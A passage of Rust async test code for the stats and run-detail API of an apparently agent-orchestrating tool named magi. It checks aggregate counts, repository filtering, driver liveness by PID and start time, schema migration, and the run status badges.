18547 assert_eq!(totals["blocked"], 0);
18550 assert_eq!(totals["ready"], 0);
18551 }
18552
18553 #[tokio::test]
18554 async fn stats_advisors_report_proposals_and_reflection() {
18555 use crate::advise::{Advice, AdvisorRecord, Reflection};
18556 use crate::verdict::Proposal;
18557
18558 let f = Fixture::start().await;
18559 let mut state = RunState::new(
18560 PathBuf::from("/repo/magi"),
18561 "main".to_owned(),
18562 "0123456789abcdef".to_owned(),
18563 "task".to_owned(),
18564 Config::default(),
18565 );
18566 state.id = "20260902-140501-a".to_owned();
18567 state.status = RunStatus::Merged;
18568 state.advice = Some(Advice {
18569 records: vec![
18570 AdvisorRecord {
18571 seat: "advisor-1".to_owned(),
18572 agent: "alpha".to_owned(),
18573 proposal: Some(Proposal {
18574 approach: "do it".to_owned(),
18575 key_tradeoff: "speed over memory".to_owned(),
18576 risks: Vec::new(),
18577 touches: Vec::new(),
18578 why_not_naive: "breaks under load".to_owned(),
18579 }),
18580 error: None,
18581 duration_ms: 0,
18582 reflection: Reflection::Strong,
18583 },
18584 AdvisorRecord {
18585 seat: "advisor-2".to_owned(),
18586 agent: "alpha".to_owned(),
18587 proposal: None,
18588 error: Some("timed out".to_owned()),
18589 duration_ms: 0,
18590 reflection: Reflection::Absent,
18591 },
18592 ],
18593 synthesis: Some("blended brief".to_owned()),
18594 });
18595 let dir = f.runs().join(&state.id);
18596 std::fs::create_dir_all(&dir).expect("run dir");
18597 std::fs::write(
18598 dir.join("run.json"),
18599 serde_json::to_string_pretty(&state).expect("serialize run"),
18600 )
18601 .expect("write run.json");
18602
18603 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18605 let alpha = advisors
18606 .as_array()
18607 .expect("an array")
18608 .iter()
18609 .find(|a| a["agent"] == "alpha")
18610 .expect("alpha row");
18611 assert_eq!(alpha["seated"], 2);
18612 assert_eq!(alpha["proposed"], 1);
18613 assert_eq!(alpha["absent"], 1);
18614 assert_eq!(alpha["strong"], 1);
18615 assert_eq!(alpha["faint"], 0);
18616 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18617 }
18618
18619 #[tokio::test]
18620 async fn stats_hides_agents_outside_the_roster_unless_all() {
18621 use crate::run::Candidate;
18622 let repo = TempDir::new().expect("repo dir");
18623 std::fs::write(
18624 repo.path().join("magi.toml"),
18625 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18626 )
18627 .expect("magi.toml");
18628 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18629 let mut state = RunState::new(
18630 PathBuf::from("/repo/magi"),
18631 "main".to_owned(),
18632 "0123456789abcdef".to_owned(),
18633 "task".to_owned(),
18634 Config::default(),
18635 );
18636 state.id = "20260902-140501-a".to_owned();
18637 state.status = RunStatus::Merged;
18638 for (label, agent) in [('A', "keep"), ('B', "retired")] {
18639 let mut c: Candidate = serde_json::from_value(serde_json::json!({
18640 "index": 0, "label": label.to_string(), "agent": agent,
18641 "branch": "b", "worktree": "/w",
18642 }))
18643 .expect("candidate");
18644 c.label = label;
18645 state.candidates.push(c);
18646 }
18647 let dir = f.runs().join(&state.id);
18648 std::fs::create_dir_all(&dir).expect("run dir");
18649 std::fs::write(
18650 dir.join("run.json"),
18651 serde_json::to_string_pretty(&state).expect("serialize run"),
18652 )
18653 .expect("write run.json");
18654
18655 let agents_of = |v: &serde_json::Value| -> Vec<String> {
18656 v["agents"]
18657 .as_array()
18658 .expect("array")
18659 .iter()
18660 .map(|a| a["agent"].as_str().unwrap().to_owned())
18661 .collect()
18662 };
18663 let hidden = f.get("/api/stats").await.json();
18664 assert_eq!(agents_of(&hidden), ["keep"]);
18665 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18666 assert_eq!(hidden["totals"]["runs"], 1);
18667
18668 let all = f.get("/api/stats?all=true").await.json();
18669 assert_eq!(agents_of(&all).len(), 2);
18670 assert_eq!(all["retired_hidden"], serde_json::json!([]));
18671 let keep_agent = all["agents"]
18673 .as_array()
18674 .unwrap()
18675 .iter()
18676 .find(|a| a["agent"] == "keep")
18677 .unwrap();
18678 assert_eq!(keep_agent["competitive_entered"], 1);
18679 assert_eq!(keep_agent["competitive_wins"], 0);
18680 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18681 assert_eq!(keep_agent["solo_entered"], 0);
18682 assert_eq!(keep_agent["solo_adopted"], 0);
18683 assert!(keep_agent["solo_adoption_rate"].is_null());
18684 }
18685
18686 #[tokio::test]
18687 async fn stats_release_bumps_split_clean_from_attention() {
18688 use crate::run::ReleaseBump;
18689
18690 let f = Fixture::start().await;
18691
18692 let mut clean = RunState::new(
18693 PathBuf::from("/repo/magi"),
18694 "main".to_owned(),
18695 "0123456789abcdef".to_owned(),
18696 "task".to_owned(),
18697 Config::default(),
18698 );
18699 clean.id = "20260902-140501-a".to_owned();
18700 clean.status = RunStatus::Merged;
18701 clean.release_bump = Some(ReleaseBump {
18702 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18703 version: Some("1.0.0".to_owned()),
18704 automerge_enabled: true,
18705 merged_directly: false,
18706 local: false,
18707 release: None,
18708 problem: None,
18709 action_required: None,
18710 skipped: None,
18711 });
18712
18713 let mut blocked = RunState::new(
18714 PathBuf::from("/repo/magi"),
18715 "main".to_owned(),
18716 "0123456789abcdef".to_owned(),
18717 "task".to_owned(),
18718 Config::default(),
18719 );
18720 blocked.id = "20260902-140502-b".to_owned();
18721 blocked.status = RunStatus::Merged;
18722 blocked.release_bump = Some(ReleaseBump {
18723 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18724 version: Some("1.0.1".to_owned()),
18725 automerge_enabled: false,
18726 merged_directly: false,
18727 local: false,
18728 release: None,
18729 problem: Some("checks red".to_owned()),
18730 action_required: Some("look at the PR".to_owned()),
18731 skipped: None,
18732 });
18733
18734 for state in [&clean, &blocked] {
18735 let dir = f.runs().join(&state.id);
18736 std::fs::create_dir_all(&dir).expect("run dir");
18737 std::fs::write(
18738 dir.join("run.json"),
18739 serde_json::to_string_pretty(state).expect("serialize run"),
18740 )
18741 .expect("write run.json");
18742 }
18743
18744 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18745 assert_eq!(bumps["merged"], 2);
18746 assert_eq!(bumps["recorded"], 2);
18747 assert_eq!(bumps["pr_opened"], 2);
18748 assert_eq!(bumps["automerge_enabled"], 1);
18749 assert_eq!(bumps["needs_attention"], 1);
18750 assert_eq!(bumps["clean"], 1);
18751 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18752 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18753 }
18754
18755 #[tokio::test]
18756 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18757 let f = Fixture::start().await;
18758 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18759
18760 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18761 assert_eq!(bumps["merged"], 1);
18762 assert_eq!(bumps["recorded"], 0);
18763 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18766 assert_eq!(bumps["automerge_rate"], Value::Null);
18769 assert_eq!(bumps["attention_rate"], Value::Null);
18770 }
18771
18772 #[tokio::test]
18773 async fn stats_queue_counts_come_from_the_live_queue() {
18774 let f = Fixture::start().await;
18775 let q = f.queue();
18776 let mut queued = Task::new(
18777 "queued task".to_owned(),
18778 "do it".to_owned(),
18779 PathBuf::from("/repo"),
18780 Source::Human,
18781 );
18782 q.put(&mut queued).expect("put queued");
18783 let mut held = Task::new(
18784 "held task".to_owned(),
18785 "do it later".to_owned(),
18786 PathBuf::from("/repo"),
18787 Source::Human,
18788 );
18789 held.hold_machine(Some("out of attempts".to_owned()));
18790 q.put(&mut held).expect("put held");
18791
18792 let queue = f.get("/api/stats").await.json()["queue"].clone();
18793 assert_eq!(queue["queued"], 1);
18794 assert_eq!(queue["held"], 1);
18795 assert_eq!(queue["running"], 0);
18796 assert_eq!(queue["done"], 0);
18797 assert_eq!(queue["failed"], 0);
18798 assert_eq!(queue["blocked"], 0);
18799 }
18800
18801 #[tokio::test]
18802 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18803 let f = Fixture::start().await;
18804 let stats = f.get("/api/stats").await;
18805 assert_eq!(stats.status, 200);
18806 assert_eq!(stats.json()["totals"]["runs"], 0);
18807 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18808 assert_eq!(stats.json()["runs_unreadable"], 0);
18809 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18810 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18811 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18812 assert_eq!(stats.json()["repo"], Value::Null);
18813 }
18814
18815 #[tokio::test]
18816 async fn stats_lists_every_repository_with_runs_recorded() {
18817 let f = Fixture::start().await;
18818 write_run_repo(
18819 &f.runs(),
18820 "20260902-140501-a",
18821 RunStatus::Merged,
18822 "/repos/a",
18823 );
18824 write_run_repo(
18825 &f.runs(),
18826 "20260902-140502-b",
18827 RunStatus::Merged,
18828 "/repos/a",
18829 );
18830 write_run_repo(
18831 &f.runs(),
18832 "20260902-140503-c",
18833 RunStatus::Blocked,
18834 "/repos/b",
18835 );
18836
18837 let stats = f.get("/api/stats").await;
18838 assert_eq!(stats.status, 200);
18839 assert_eq!(stats.json()["totals"]["runs"], 3);
18841 assert_eq!(stats.json()["repo"], Value::Null);
18842
18843 let repos = stats.json()["repos"].clone();
18844 let repos = repos.as_array().unwrap();
18845 assert_eq!(repos.len(), 2);
18846 assert_eq!(repos[0]["repo"], "/repos/a");
18848 assert_eq!(repos[0]["name"], "a");
18849 assert_eq!(repos[0]["runs"], 2);
18850 assert_eq!(repos[1]["repo"], "/repos/b");
18851 assert_eq!(repos[1]["runs"], 1);
18852 }
18853
18854 #[tokio::test]
18855 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
18856 let f = Fixture::start().await;
18857 write_run_repo(
18858 &f.runs(),
18859 "20260902-140501-a",
18860 RunStatus::Merged,
18861 "/repos/a",
18862 );
18863 write_run_repo(
18864 &f.runs(),
18865 "20260902-140502-b",
18866 RunStatus::Blocked,
18867 "/repos/b",
18868 );
18869
18870 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
18871 assert_eq!(stats.status, 200);
18872 assert_eq!(stats.json()["totals"]["runs"], 1);
18873 assert_eq!(stats.json()["totals"]["merged"], 1);
18874 assert_eq!(stats.json()["repo"], "/repos/a");
18875 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
18878 assert_eq!(stats.json()["runs_unreadable"], 0);
18881 }
18882
18883 #[tokio::test]
18884 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
18885 let f = Fixture::start().await;
18886 write_run_repo(
18887 &f.runs(),
18888 "20260902-140501-a",
18889 RunStatus::Merged,
18890 "/repos/a",
18891 );
18892 write_run_repo(
18893 &f.runs(),
18894 "20260902-140502-b",
18895 RunStatus::Merged,
18896 "/repos/b",
18897 );
18898
18899 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
18900 let json = f.get(uri).await.json();
18901 let daily = json["daily"].as_array().expect("daily is an array");
18902 assert_eq!(daily.len(), 30);
18903 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
18904 let mut sorted = dates.clone();
18905 sorted.sort();
18906 assert_eq!(dates, sorted);
18907 for d in daily {
18908 assert_eq!(
18909 d["merged"].as_u64().unwrap()
18910 + d["ready"].as_u64().unwrap()
18911 + d["other"].as_u64().unwrap(),
18912 d["runs"].as_u64().unwrap()
18913 );
18914 }
18915 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
18916 }
18917 }
18918
18919 #[tokio::test]
18920 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
18921 let f = Fixture::start().await;
18922 write_run_repo(
18923 &f.runs(),
18924 "20260902-140501-a",
18925 RunStatus::Merged,
18926 "/repos/a",
18927 );
18928
18929 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
18930 assert_eq!(stats.status, 404);
18931 }
18932
18933 #[tokio::test]
18934 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
18935 let f = Fixture::start().await;
18936 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
18937
18938 let summary = f.get("/api/runs").await.json();
18939 let row = &summary[0];
18940 assert_eq!(row["short"], "a1b2");
18941 assert_eq!(row["status"], "ready");
18942 assert_eq!(row["done"], true);
18943 assert_eq!(row["title"], "Add a web UI");
18944 assert_eq!(row["repo_name"], "magi");
18945 assert_eq!(row["judges"], 3);
18946 assert_eq!(row["winner"], Value::Null);
18947 assert_eq!(row["reviews"], 0);
18948
18949 let detail = f.get("/api/runs/a1b2").await;
18952 assert_eq!(detail.status, 200);
18953 assert_eq!(detail.json()["base_branch"], "main");
18954 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18955 }
18956
18957 #[tokio::test]
18965 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18966 let f = Fixture::start().await;
18967
18968 let mut none_run = RunState::new(
18969 PathBuf::from("/repo/magi"),
18970 "main".to_owned(),
18971 "0123456789abcdef".to_owned(),
18972 "Add a web UI".to_owned(),
18973 Config::default(),
18974 );
18975 none_run.id = "20260902-140503-none".to_owned();
18976 none_run.status = RunStatus::Ready;
18977 none_run.merge = Some(crate::run::MergeOutcome {
18978 mode: crate::config::MergeMode::None,
18979 ok: true,
18980 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18981 empty: false,
18982 });
18983 write_state(&f.runs(), &none_run);
18984
18985 let mut pr_run = RunState::new(
18986 PathBuf::from("/repo/magi"),
18987 "main".to_owned(),
18988 "0123456789abcdef".to_owned(),
18989 "Add a web UI".to_owned(),
18990 Config::default(),
18991 );
18992 pr_run.id = "20260902-140504-prcl".to_owned();
18993 pr_run.status = RunStatus::Ready;
18994 pr_run.merge = Some(crate::run::MergeOutcome {
18995 mode: crate::config::MergeMode::Pr,
18996 ok: false,
18997 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18998 empty: false,
18999 });
19000 write_state(&f.runs(), &pr_run);
19001
19002 let summary = f.get("/api/runs").await.json();
19003 let rows: std::collections::HashMap<&str, &Value> = summary
19004 .as_array()
19005 .expect("an array")
19006 .iter()
19007 .map(|r| (r["id"].as_str().expect("an id"), r))
19008 .collect();
19009 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19010 assert_eq!(
19011 rows[none_run.id.as_str()]["unmerged_by_design"],
19012 true,
19013 "a mode-none Ready must be flagged in the list"
19014 );
19015 assert_eq!(
19016 rows[pr_run.id.as_str()]["unmerged_by_design"],
19017 false,
19018 "a Ready reached by a closed pull request is a different case"
19019 );
19020
19021 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19022 assert_eq!(none_detail["status"], "ready");
19023 assert_eq!(none_detail["unmerged_by_design"], true);
19024
19025 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19026 assert_eq!(pr_detail["unmerged_by_design"], false);
19027 }
19028
19029 #[tokio::test]
19034 async fn run_core_survives_unavailable_related_stores() {
19035 let home = TempDir::new().unwrap();
19036 let ui = delta_test_ui(home.path());
19037 let state = RunState::new(
19038 PathBuf::from("/repo/magi"),
19039 "main".into(),
19040 "0123456789abcdef".into(),
19041 "Useful core instructions".into(),
19042 Config::default(),
19043 );
19044 let dir = ui.runs.join(&state.id);
19045 std::fs::create_dir_all(&dir).unwrap();
19046 std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19047 std::fs::write(ui.questions.root(), "unavailable").unwrap();
19048 std::fs::write(ui.queue.root(), "unavailable").unwrap();
19049 let core = run_core(State(ui.clone()), Path(state.id.clone()))
19050 .await
19051 .unwrap()
19052 .0;
19053 assert_eq!(core.state.instruction, state.instruction);
19054 assert_eq!(core.state.updated_at, state.updated_at);
19055 assert!(core.task.is_none());
19056 assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19057 }
19058
19059 #[tokio::test]
19060 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19061 let f = Fixture::start().await;
19062 let id = "20260902-140502-bbbb";
19066 let mut state = RunState::new(
19067 PathBuf::from("/repo/magi"),
19068 "main".to_owned(),
19069 "0123456789abcdef".to_owned(),
19070 "Add a web UI".to_owned(),
19071 Config::default(),
19072 );
19073 state.id = id.to_owned();
19074 state.status = RunStatus::Judging;
19075 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19076 let dir = f.runs().join(id);
19077 std::fs::create_dir_all(&dir).expect("run dir");
19078 std::fs::write(
19079 dir.join("run.json"),
19080 serde_json::to_string_pretty(&state).expect("serialize run"),
19081 )
19082 .expect("write run.json");
19083
19084 let cold = f.get(&format!("/api/runs/{id}")).await.json();
19090 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19091 assert_eq!(cold["live"], "unknown", "{cold}");
19092
19093 write_daemon(f.home.path(), Timestamp::now());
19096 let warm = f.get(&format!("/api/runs/{id}")).await.json();
19097 assert_eq!(warm["live"], "live", "{warm}");
19098 }
19099
19100 #[test]
19101 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19102 let home = tempfile::tempdir().expect("temp home");
19103 let runs = home.path().join("runs");
19104 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19105 let mut state = RunState::new(
19106 PathBuf::from("/repo/magi"),
19107 "main".to_owned(),
19108 "0123456789abcdef".to_owned(),
19109 "Generated review context, not authored task criteria".to_owned(),
19110 Config::default(),
19111 );
19112 state.origin = origin;
19113 state.status = RunStatus::Blocked;
19114 state.driver_exited = false;
19116 state.gate_ran = true;
19117 let expected = serde_json::to_value(&state).expect("serialize current state");
19118 let mut legacy = expected.clone();
19119 legacy["schema"] = serde_json::json!(13);
19120 legacy.as_object_mut().unwrap().remove("task_instruction");
19121 let dir = runs.join(&state.id);
19122 std::fs::create_dir_all(&dir).expect("run dir");
19123 let path = dir.join("run.json");
19124 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19125 std::fs::write(&path, &body).expect("write legacy run");
19126
19127 for loaded in [
19128 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19129 read_run(&runs, &state.id).expect("web migration"),
19130 ] {
19131 assert_eq!(loaded.schema, crate::run::SCHEMA);
19132 assert!(loaded.task_instruction.is_none());
19133 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19134 }
19135 assert_eq!(runs_unreadable(&runs), 0);
19136 assert_eq!(std::fs::read(&path).unwrap(), body);
19137 }
19138 }
19139
19140 #[tokio::test]
19143 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19144 let f = Fixture::start().await;
19145 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19146 let mut state = RunState::new(
19147 PathBuf::from("/repo/magi"),
19148 "main".to_owned(),
19149 "0123456789abcdef".to_owned(),
19150 "Add a web UI".to_owned(),
19151 Config::default(),
19152 );
19153 state.id = id.to_owned();
19154 state.origin = origin;
19155 let mut value = serde_json::to_value(&state).expect("serialize run");
19156 if let Some(schema) = schema {
19157 value["schema"] = serde_json::json!(schema);
19158 value.as_object_mut().unwrap().remove("origin");
19159 }
19160 let dir = f.runs().join(id);
19161 std::fs::create_dir_all(&dir).expect("run dir");
19162 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19163 };
19164 write(
19165 "20260930-092817-ec34",
19166 Some(crate::run::Origin::from_agent_env(
19167 Some(("4a7b".to_owned(), "chat".to_owned())),
19168 None,
19169 )),
19170 None,
19171 );
19172 write("20260930-092817-0ld1", None, Some(12));
19173
19174 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19175 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19176 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19177
19178 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19179 assert_eq!(
19180 old["origin_label"], "origin unknown (started before origins were recorded)",
19181 "{old}"
19182 );
19183 assert!(old["origin"].is_null(), "{old}");
19184
19185 let list = f.get("/api/runs").await.json();
19186 let labels: Vec<_> = list
19187 .as_array()
19188 .unwrap()
19189 .iter()
19190 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19191 .collect();
19192 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19193 }
19194
19195 #[tokio::test]
19202 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19203 let f = Fixture::start().await;
19204 let id = "20260922-090000-cccc";
19205 let mut state = RunState::new(
19206 PathBuf::from("/repo/magi"),
19207 "main".to_owned(),
19208 "0123456789abcdef".to_owned(),
19209 "Review only".to_owned(),
19210 Config::default(),
19211 );
19212 state.id = id.to_owned();
19213 state.status = RunStatus::Reviewing;
19214 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19215 state.driver_pid = Some(std::process::id());
19221 state.driver_started_at = Some(
19222 crate::proc::process_started_at(std::process::id())
19223 .expect("this test process's own start time must be queryable"),
19224 );
19225 let dir = f.runs().join(id);
19226 std::fs::create_dir_all(&dir).expect("run dir");
19227 std::fs::write(
19228 dir.join("run.json"),
19229 serde_json::to_string_pretty(&state).expect("serialize run"),
19230 )
19231 .expect("write run.json");
19232
19233 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19234 assert_eq!(detail["live"], "live", "{detail}");
19235 }
19236
19237 #[tokio::test]
19243 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19244 let f = Fixture::start().await;
19245 let id = "20260922-090100-dddd";
19246 let mut state = RunState::new(
19247 PathBuf::from("/repo/magi"),
19248 "main".to_owned(),
19249 "0123456789abcdef".to_owned(),
19250 "Review only".to_owned(),
19251 Config::default(),
19252 );
19253 state.id = id.to_owned();
19254 state.status = RunStatus::Reviewing;
19255 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19256 state.driver_pid = Some(std::process::id());
19261 state.driver_started_at = Some("1".to_owned());
19262 let dir = f.runs().join(id);
19263 std::fs::create_dir_all(&dir).expect("run dir");
19264 std::fs::write(
19265 dir.join("run.json"),
19266 serde_json::to_string_pretty(&state).expect("serialize run"),
19267 )
19268 .expect("write run.json");
19269
19270 let detail = f.get(&format!("/api/runs/{id}")).await.json();
19271 assert_eq!(detail["live"], "dead", "{detail}");
19272 }
19273
19274 #[test]
19278 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19279 let mk = |id: &str, pid: Option<u32>| {
19280 let mut s = RunState::new(
19281 PathBuf::from("/repo/magi"),
19282 "main".to_owned(),
19283 "0123456789abcdef".to_owned(),
19284 "Add a web UI".to_owned(),
19285 Config::default(),
19286 );
19287 s.id = id.to_owned();
19288 s.driver_pid = pid;
19289 s.driver_started_at = Some("1790000000".to_owned());
19290 s
19291 };
19292 let states = vec![
19293 mk("20260902-140502-aaaa", Some(77)),
19294 mk("20260902-140502-bbbb", Some(77)),
19295 mk("20260902-140502-cccc", Some(77)),
19296 mk("20260902-140502-dddd", None),
19297 ];
19298 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19299 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19300 let sup: HashMap<String, String> = [(
19301 "20260902-140502-aaaa".to_owned(),
19302 "20260902-140502-cccc".to_owned(),
19303 )]
19304 .into();
19305
19306 let status_calls = std::cell::Cell::new(0);
19307 let identity_calls = std::cell::Cell::new(0);
19308 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19309 |_| {
19310 status_calls.set(status_calls.get() + 1);
19311 Some(true)
19312 },
19313 |_| {
19314 identity_calls.set(identity_calls.get() + 1);
19315 Some("1790000000".to_owned())
19316 },
19317 ));
19318 let rows = summarize(
19319 states,
19320 &open,
19321 &claimed,
19322 &sup,
19323 |p| probe.borrow_mut().status(p),
19324 |p| probe.borrow_mut().started_at(p),
19325 );
19326
19327 assert_eq!(status_calls.get(), 1, "one pid, one status query");
19328 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19329 assert_eq!(rows.len(), 4);
19330 assert!(!rows[0].waiting && rows[1].waiting);
19331 assert_eq!(rows[0].live, crate::run::Liveness::Live);
19332 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19333 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19334 assert_eq!(rows[1].superseded_by, None);
19335 }
19336
19337 #[test]
19338 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19339 let mut state = RunState::new(
19340 PathBuf::from("/repo/magi"),
19341 "main".to_owned(),
19342 "0123456789abcdef".to_owned(),
19343 "Review only".to_owned(),
19344 Config::default(),
19345 );
19346 state.id = "20260922-090200-dead".to_owned();
19347 state.status = RunStatus::Reviewing;
19348 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19349 .expect("serialize list row");
19350 assert_eq!(row["status"], "reviewing");
19351 assert_eq!(row["display_status"], "stale");
19352 assert_eq!(row["live"], "dead", "{row}");
19353 assert!(!row["done"].as_bool().unwrap());
19354 }
19355
19356 #[test]
19357 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19358 use crate::run::Liveness::{Dead, Live, Unknown};
19359 let mut state = RunState::new(
19360 PathBuf::from("/repo/magi"),
19361 "main".to_owned(),
19362 "abc".to_owned(),
19363 "Review only".to_owned(),
19364 Config::default(),
19365 );
19366 for (status, parked, node, waiting, live, expected) in [
19367 (
19368 RunStatus::Judging,
19369 true,
19370 "github-text",
19371 false,
19372 Dead,
19373 "parked",
19374 ),
19375 (RunStatus::Judging, false, "park", false, Dead, "stale"),
19376 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19377 (
19378 RunStatus::Judging,
19379 true,
19380 "github-text",
19381 true,
19382 Dead,
19383 "waiting",
19384 ),
19385 (
19386 RunStatus::Judging,
19387 false,
19388 "github-text",
19389 true,
19390 Dead,
19391 "waiting",
19392 ),
19393 (
19394 RunStatus::Judging,
19395 false,
19396 "github-text",
19397 false,
19398 Dead,
19399 "stale",
19400 ),
19401 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19402 (RunStatus::Judging, true, "park", false, Live, "judging"),
19403 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19404 (RunStatus::Merged, true, "park", false, Dead, "merged"),
19405 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19406 (
19407 RunStatus::Blocked,
19408 true,
19409 "github-text",
19410 true,
19411 Dead,
19412 "waiting",
19413 ),
19414 ] {
19415 state.status = status;
19416 state.parked = parked;
19417 state.events.clear();
19418 state.event(
19419 "park",
19420 "an earlier park does not determine the latest state",
19421 );
19422 state.event(node, "message is not used for classification");
19423 let summary = RunSummary::of(&state, waiting, live);
19424 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19425 assert_eq!(
19426 summary.display_status, expected,
19427 "{status:?}/{node}/{live:?}"
19428 );
19429 assert_eq!(detail.display_status, summary.display_status);
19430 assert_eq!(detail.waiting, summary.waiting);
19431 }
19432 state.status = RunStatus::Judging;
19433 state.parked = false;
19434 state.events.clear();
19435 assert_eq!(run_display_status(&state, false, Dead), "stale");
19436 }
19437
19438 #[test]
19439 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19440 use crate::run::Liveness::{Dead, Live, Unknown};
19441 let mut state = RunState::new(
19442 PathBuf::from("/repo/magi"),
19443 "main".to_owned(),
19444 "abc".to_owned(),
19445 "Badge".to_owned(),
19446 Config::default(),
19447 );
19448 for (status, waiting, live, superseded, expected) in [
19449 (RunStatus::Gating, false, Dead, false, "stale"),
19450 (RunStatus::Gating, false, Dead, true, "superseded"),
19451 (RunStatus::Gating, false, Unknown, true, "superseded"),
19452 (RunStatus::Gating, true, Dead, true, "superseded"),
19453 (RunStatus::Gating, true, Dead, false, "waiting"),
19454 (RunStatus::Gating, false, Unknown, false, "gating"),
19455 (RunStatus::Gating, false, Live, true, "gating"),
19456 (RunStatus::Gating, true, Live, true, "waiting"),
19457 (RunStatus::Merged, false, Dead, true, "merged"),
19458 (RunStatus::Blocked, false, Dead, true, "blocked"),
19459 ] {
19460 state.status = status;
19461 let display = run_display_status(&state, waiting, live);
19462 assert_eq!(
19463 run_badge_status(&state, &display, live, superseded),
19464 expected,
19465 "{status:?}/{live:?}/superseded={superseded}"
19466 );
19467 }
19468 }
19469
19470 #[test]
19471 fn summarize_and_detail_expose_badge_status() {
19472 use crate::run::Liveness::Dead;
19473 let mut state = RunState::new(
19474 PathBuf::from("/repo/magi"),
19475 "main".to_owned(),
19476 "abc".to_owned(),
19477 "Badge".to_owned(),
19478 Config::default(),
19479 );
19480 state.status = RunStatus::Gating;
19481 let none = HashSet::new();
19482 let id = state.id.clone();
19483 let mut by = HashMap::new();
19484 let rows = summarize(
19485 [state.clone()],
19486 &none,
19487 &none,
19488 &by,
19489 |_| Some(false),
19490 |_| None,
19491 );
19492 assert_eq!(rows[0].badge_status, rows[0].display_status);
19494 by.insert(id, "20260901-000000-913b".to_owned());
19495 let detail = RunDetailView::of(
19496 state.clone(),
19497 false,
19498 Dead,
19499 Some("913b".to_owned()),
19500 None,
19501 None,
19502 );
19503 assert_eq!(detail.badge_status, "superseded");
19504 let json = serde_json::to_value(&detail).unwrap();
19505 assert_eq!(json["badge_status"], "superseded");
19506 let detail = RunDetailView::of(state, false, Dead, None, None, None);
19507 assert_eq!(detail.badge_status, "stale");
19508 }
19509
19510 #[tokio::test]
19511 async fn run_display_status_routes_share_the_open_question_store() {
19512 let f = Fixture::start().await;
19513 let id = "20260922-090200-abcd";
